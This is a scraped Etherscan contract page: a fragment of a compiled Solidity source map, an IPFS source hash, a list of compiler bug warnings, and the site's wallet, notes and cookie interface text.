;;6718:13;;-1:-1:-1;;;;;6714:39:4;6702:52;;6809:15;;;;6774:12;;;;6750:1;6668:9;6639:195;;;-1:-1:-1;;;;;;;6890:32:4;;;;6885:2;6870:18;;6863:60;-1:-1:-1;;;6954:3:4;6939:19;6932:35;6851:3;5993:980;-1:-1:-1;;;5993:980:4:o;7167:128::-;7207:3;7238:1;7234:6;7231:1;7228:13;7225:39;;;7244:18;;:::i;:::-;-1:-1:-1;7280:9:4;;7167:128::o;7300:217::-;7340:1;7366;7356:132;;7410:10;7405:3;7401:20;7398:1;7391:31;7445:4;7442:1;7435:15;7473:4;7470:1;7463:15;7356:132;-1:-1:-1;7502:9:4;;7300:217::o;7522:168::-;7562:7;7628:1;7624;7620:6;7616:14;7613:1;7610:21;7605:1;7598:9;7591:17;7587:45;7584:71;;;7635:18;;:::i;:::-;-1:-1:-1;7675:9:4;;7522:168::o;7695:125::-;7735:4;7763:1;7760;7757:8;7754:34;;;7768:18;;:::i;:::-;-1:-1:-1;7805:9:4;;7695:125::o;7825:380::-;7904:1;7900:12;;;;7947;;;7968:61;;8022:4;8014:6;8010:17;8000:27;;7968:61;8075:2;8067:6;8064:14;8044:18;8041:38;8038:161;;;8121:10;8116:3;8112:20;8109:1;8102:31;8156:4;8153:1;8146:15;8184:4;8181:1;8174:15;8038:161;;7825:380;;;:::o;8210:135::-;8249:3;-1:-1:-1;;8270:17:4;;8267:43;;;8290:18;;:::i;:::-;-1:-1:-1;8337:1:4;8326:13;;8210:135::o;8350:127::-;8411:10;8406:3;8402:20;8399:1;8392:31;8442:4;8439:1;8432:15;8466:4;8463:1;8456:15;8482:127;8543:10;8538:3;8534:20;8531:1;8524:31;8574:4;8571:1;8564:15;8598:4;8595:1;8588:15;8614:127;8675:10;8670:3;8666:20;8663:1;8656:31;8706:4;8703:1;8696:15;8730:4;8727:1;8720:15;8746:131;-1:-1:-1;;;;;8821:31:4;;8811:42;;8801:70;;8867:1;8864;8857:12

Swarm Source

ipfs://5f1a2fd6235084ead77cba71e697f20707f801be52849b6f90f9b774dfd60b1a Loading...Loading Loading...Loading Loading...Loading Loading...Loading Loading...Loading Loading...Loading [ Download: CSV Export ] [ Download: CSV Export ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.

Update Token Information Page

To submit a token information's update request, please confirm beforehand that you have:

  • registered and logged in to your Etherscan account
  • verified the contract's source code using our tool here
  • been successfully verified as the contract address owner

Close
Connect a Wallet
Connecting wallet for read function is optional, useful if you want to call certain functions or simply use your wallet's node. MetaMask Popular Coinbase Wallet Rabby Wallet WalletConnect (Reown)
Connect a Wallet
Connecting wallet for read function is optional, useful if you want to call certain functions or simply use your wallet's node. MetaMask Popular Coinbase Wallet Rabby Wallet WalletConnect (Reown) Compiler specific version warnings:The compiled contract might be susceptible to LostStorageArrayWriteOnSlotOverflow (low-severity), VerbatimInvalidDeduplication (low-severity), FullInlinerNonExpressionSplitArgumentEvaluationOrder (low-severity), MissingSideEffectsOnSelectorAccess (low-severity), AbiReencodingHeadOverflowWithStaticArrayCleanup (medium-severity), DirtyBytesArrayToStorage (low-severity), DataLocationChangeInInternalOverride (very low-severity), NestedCalldataArrayAbiReencodingSizeValidation (very low-severity), SignedImmutables (very low-severity) Solidity Compiler Bugs.
Address Cards
To use this feature, please login to your Etherscan account and return to this page.
Before You Copy
Don't show this for 30 days Understand, Copy Address Transaction Private Note Transaction Hash Private Note Description

Please DO NOT store any passwords or private keys here. A private note (up to 100 characters) can be saved and is useful for transaction tracking. View All Transactions Private Notes Cancel Save changes

My Address - Private Name Tag or Note

My Name Tag:

Private Name Tags (up to 35 characters) can be used for easy identification of addresses

Private Note:

A private note (up to 500 characters) can be attached to this address. Please DO NOT store any passwords or private keys here. View all Private Name Tags Close Save Changes

This website uses cookies to improve your experience. By continuing to use this website, you agree to its Terms and Privacy Policy.

Got it!

Từ khóa » Gx10000